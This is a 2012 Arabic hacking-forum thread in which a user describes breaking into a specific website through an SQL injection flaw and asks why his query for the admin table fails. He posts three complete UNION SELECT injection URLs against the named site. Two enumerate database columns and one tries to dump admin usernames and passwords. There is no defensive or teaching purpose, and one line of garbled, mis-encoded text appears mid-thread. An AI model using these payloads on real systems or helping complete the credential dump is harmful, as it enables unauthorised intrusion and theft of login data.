مشكلة فى عمود الادمن اثناء الحقن

folkhero · 09-20-2012, 12:11 AM

اثناء اختراقى لموقع مصاب بثغرة sql
تصفحت العواميد باستخدام الامر limit number.1
وعرفت ان الاسم admins
وعرفت اليوسر والباس
دلوقتى لما اجى اطبق وادوس
from+ admins---
يظهرلى خطأ رغم ان هذا الاسم المطلوب

وجزاكم الله خيرا

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC la;gm tn ul,] hgh]lk hekhx hgprk

ReD-HaT · 09-20-2012, 12:47 AM

اخي يمكن انت أخطأت في شئ ما في الرابط
وضح أكثر لحتى أساعدك

folkhero · 09-20-2012, 01:26 AM

كود PHP:

  اليوزر نيم 
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28table_name,0x3a3a,column_name%29,7,8,9,10,11,12,13,14,15+from+information_schema.columns+limit+184,1--

الباسورد 
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28table_name,0x3a3a,column_name%29,7,8,9,10,11,12,13,14,15+from+information_schema.columns+limit+185,1--

لما اطبق يظهر خطأ
http://www.travelconsumerdaily.com/story.php?id=-320+union+select+1,2,3,4,5,concat%28username,0x3a3a,password%29,7,8,9,10,11,12,13,14,15+from+admins--